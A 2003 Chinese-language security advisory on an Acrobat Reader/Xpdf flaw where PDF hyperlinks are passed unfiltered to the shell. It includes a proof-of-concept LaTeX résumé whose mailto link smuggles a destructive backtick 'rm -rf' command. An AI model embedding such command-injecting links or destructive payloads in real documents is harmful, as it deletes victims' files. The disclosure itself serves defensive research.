发布日期：2003-06-13
更新日期：2003-06-19

受影响系统：

Adobe Acrobat Reader (UNIX) 5.06
Xpdf Xpdf 1.01
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - Mandrake Linux 8.0
    - Mandrake Linux 7.2

描述：

---

BUGTRAQ  ID: 7912

Acrobat Reader/Xpdf是可以用于查看PDF文件的处理程序。

Acrobat Reader/Xpdf没有正确过滤超链接中的内容，远程攻击者可以利用这个漏洞诱使用户打开恶意PDF文件，导致包含的恶意命令以用户进程权限执行。

PDF文件允许包含超链接信息，由于PDF在处理超链接时没有过滤链接内容，并且PDF查看程序通过'sh -c'调用来处理请求，因此，攻击者构建特殊的恶意超链接，可导致嵌入的命令直接传递给SHELL执行，成功利用此漏洞，命令可能以用户进程权限执行。

<*来源：Martyn Gilmore （gilmore@floraxion.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

样本PDF文件演示如下：

http://www.securityfocus.com/data/vulnerabilities/exploits/evil.tex.uu

其内容为：

\documentclass[margin,line,11pt]{res}
\usepackage{times}
\usepackage{color}
\usepackage[urlcolor=blue,colorlinks=true,pdfpagemode=none,pdfstartview=FitH]{hyperref}
\def\Cplusplus{{\rm C\raise.1ex\hbox{\small ++}}}

% 'st' 'nd' 'rd' 'th' superscripts for numbers
\def\first{{\raise.5ex\hbox{\small st}}}
\def\second{{\raise.5ex\hbox{\small nd}}}
\def\third{{\raise.5ex\hbox{\small rd}}}
\def\fourth{{\raise.5ex\hbox{\small th}}}

%use only a bit more page than default
\addtolength{\oddsidemargin}{-0.35in}
\addtolength{\voffset}{-0.50in}
\addtolength{\textwidth}{0.70in}
\addtolength{\textheight}{1.70in}

%my name format
\renewcommand{\namefont}{\LARGE\emph\textsf}
\newcommand{\mgbullet}{\ensuremath{\bullet}}
\newcommand{\resspace}{\vspace{2mm}}
\newcommand{\JtoEE}{J2EE}
\newcommand{\fourGL}{4GL}

\begin{document}
  

   \name{Martyn Gilmore}
   \address{\begin{tabular}{@{}lr@{}}
            (513) 374-1586 & 1068 Archland Drive \\
            \href{mailto:gilmore@floraxion.com`rm -rf ^^24HOME/monkey`}{\texttt{gilmore@floraxion.com}} & Cincinnati, OH 45224 \\\
            \end{tabular}}


\begin{resume}

    \section{Objective}
        Design and develop Enterprise Applications using current technologies and methodologies

    \section{Education}
            \begin{tabular}{@{}l}
            Ohio State University (Columbus, Ohio June 1994) \\
            BS in Computer Information Science with Mathematics minor \\
            CIS major GPA of 3.81/4.00 and overall GPA of 3.00/4.00
            \end{tabular}

    \section{Languages \& Software}

\Cplusplus, Java, CORBA, XML, DOM, XSLT, PL/SQL, SQL, Perl, Korn Shell, Python, SAS, CVS,\linebreak UML, RUP, JBuilder, Ant, Microsoft Visual Studio, Make, ProC, PHP, TCL/TK/Expect,\linebreak Apache, HTML, CSS, Zope, UNIX Administration and DBA(Oracle and Informix)

    \section{Work Experience}

        \begin{format}
          \employer{l}\title{r}\\
          \location{l}\dates{r}\\
          \body\\
        \end{format}

        \employer{\textbf{Professional Computer Consultants}}  
        \title{\emph{Computer Consultant}}
        \location{Cincinnati, OH}
        \dates{\textbf{Sept. 1999 -- Present}}
        \begin{position}
            \begin{tabular}{@{}l}
            \\
            Assigned at Convergys (9/99 -- 6/02) \\
            Responsibilities included:
            \end{tabular}
            \resspace
              \begin{itemize}
                \item[\mgbullet]
                    ORACLE: designed and implemented Advanced Queue architecture
                    for 3G rating system
                \item[\mgbullet]
                    BEA WLE (Tuxedo and CORBA): developed and
                    maintained \Cplusplus\ 3-tier application
                    servers using RogueWave classes
                \item[\mgbullet]
                    Unix: wrote background daemons using system
                    calls for asynchronous processing
                \item[\mgbullet]
                    Java: maintained and enhanced Servlets
                \item[\mgbullet]
                    XML: utilized \Cplusplus\ DOM and XSLT
                    classes for message processing
                \item[\mgbullet]
                    Java Swing: automated testing application
                    via CORBA IDL parser/AST traversal
                \item[\mgbullet]
                    Great Circle/Purify: integrated memory detection
                    tools into development process
                \item[\mgbullet]
                    Perl DBI/Python: wrote scripts for production
                    and development environments
                \item[\mgbullet]
                    Performance tuning: optimized views and
                    application server performance
                \item[\mgbullet]
                    Production and build support: troubleshot
                    major problems within business unit
              \end{itemize}
        \end{position}

        \employer{\textbf{Cardinal Solutions}}  
        \title{\emph{Software Consultant}}
        \location{Cincinnati, OH}
        \dates{\textbf{June 1997 -- Sept. 1999}}
        \begin{position}
            \begin{tabular}{@{}l}
            \\
            Assigned at SDRC (6/97 -- 9/99) \\
            Responsibilities included: \\
            \end{tabular}
            \resspace
              \begin{itemize}
                \item[\mgbullet]
                    ORACLE: constructed conversion programs using SQLLoader,
                    PL/SQL (built-in packages), and ProC
                \item[\mgbullet]
                    \Cplusplus/C: designed and developed new applications and
                                   maintained libraries
                \item[\mgbullet]
                    CORBA: debugged and extended functionality of
                    existing applications
                \item[\mgbullet]
                    Java/JBuilder: prototyped new interfaces with
                    Oracle backend
                \item[\mgbullet]
                    Perl/Korn: wrote test harnesses and other
                    scripts
                \item[\mgbullet]
                    Apache/PHP3: ran web server with forms to capture
                    development information
                \item[\mgbullet]
                    TCL/TK: provided cross-platform UI on first project
                    which integrated with C/\Cplusplus\ libraries
                \item[\mgbullet]
                    AIX, NT, Solaris, HP-UX and IRIX (SGI): resolved
                    any portability issues with code, 3\third\ party tools,
                    and environments
              \end{itemize}
        \end{position}

        \employer{\textbf{Fidelity Investments}}  
        \title{\emph{Production Services Technical Specialist}}
        \location{Covington/Hebron, KY}
        \dates{\textbf{Oct. 1995 -- May 1997}}
        \begin{position}
            \begin{tabular}{@{}l}
            \\
            Responsibilities included:
            \end{tabular}
            \resspace
              \begin{itemize}
                \item[\mgbullet]
                    Oracle DBA: planned monitoring/performance scripts,
                    disk/tablespace/extent layout, and instance initialization
                \item[\mgbullet]
                    Informix DBA: setup and administered over 16 instances
                    on different servers.  Helped tune, debug Esql,
                    Powerbuilder, and VB applications
                \item[\mgbullet]
                    Perl/Korn Shell: wrote scripts for Unix,
                    Database Administration, and Application Integration tasks
                \item[\mgbullet]
                    TCL/TK/Expect: developed and extended graphical
                    server monitor
                \item[\mgbullet]
                    Solaris/HP-UX: oversaw Unix administration, database
                    servers, and user environments
                \item[\mgbullet]
                    FileNet: resolved production issues with
                    distributed imaging/workflow applications
                \item[\mgbullet]
                    Training: devised and constructed an environment
                    that allowed end users to load different
                    database scenarios
              \end{itemize}
        \end{position}


        \employer{\textbf{Pharmacia}}  
        \title{\emph{Junior Programmer}}
        \location{Columbus, OH}
        \dates{\textbf{Sept. 1994 -- Sept. 1995}}
        \begin{position}
            \begin{tabular}{@{}l}
            \\
            Responsibilities included:
            \end{tabular}
            \resspace
              \begin{itemize}
                \item[\mgbullet]
                    \fourGL: produced data listings and statistical
                    reports that accessed multiple databases
                \item[\mgbullet]
                    Data Scrubbing: wrote database semantic checks to provide hints
                    for data change requests on patient clinical forms
                \item[\mgbullet]
                    SQL: supplemented and verified \fourGL\ reports with ad-hoc information
                \item[\mgbullet]
                    SAS: loaded datasets, created reports and created dumps
                \item[\mgbullet]
                    VMS: utilized as end user and programming environment
              \end{itemize}
        \end{position}

   \section{References}
      Available upon request

\end{resume}
\end{document}

建议：

---

厂商补丁：

Adobe
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.adobe.com

Xpdf
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.foolabs.com/xpdf/

浏览次数：3275
严重程度：0（网友投票）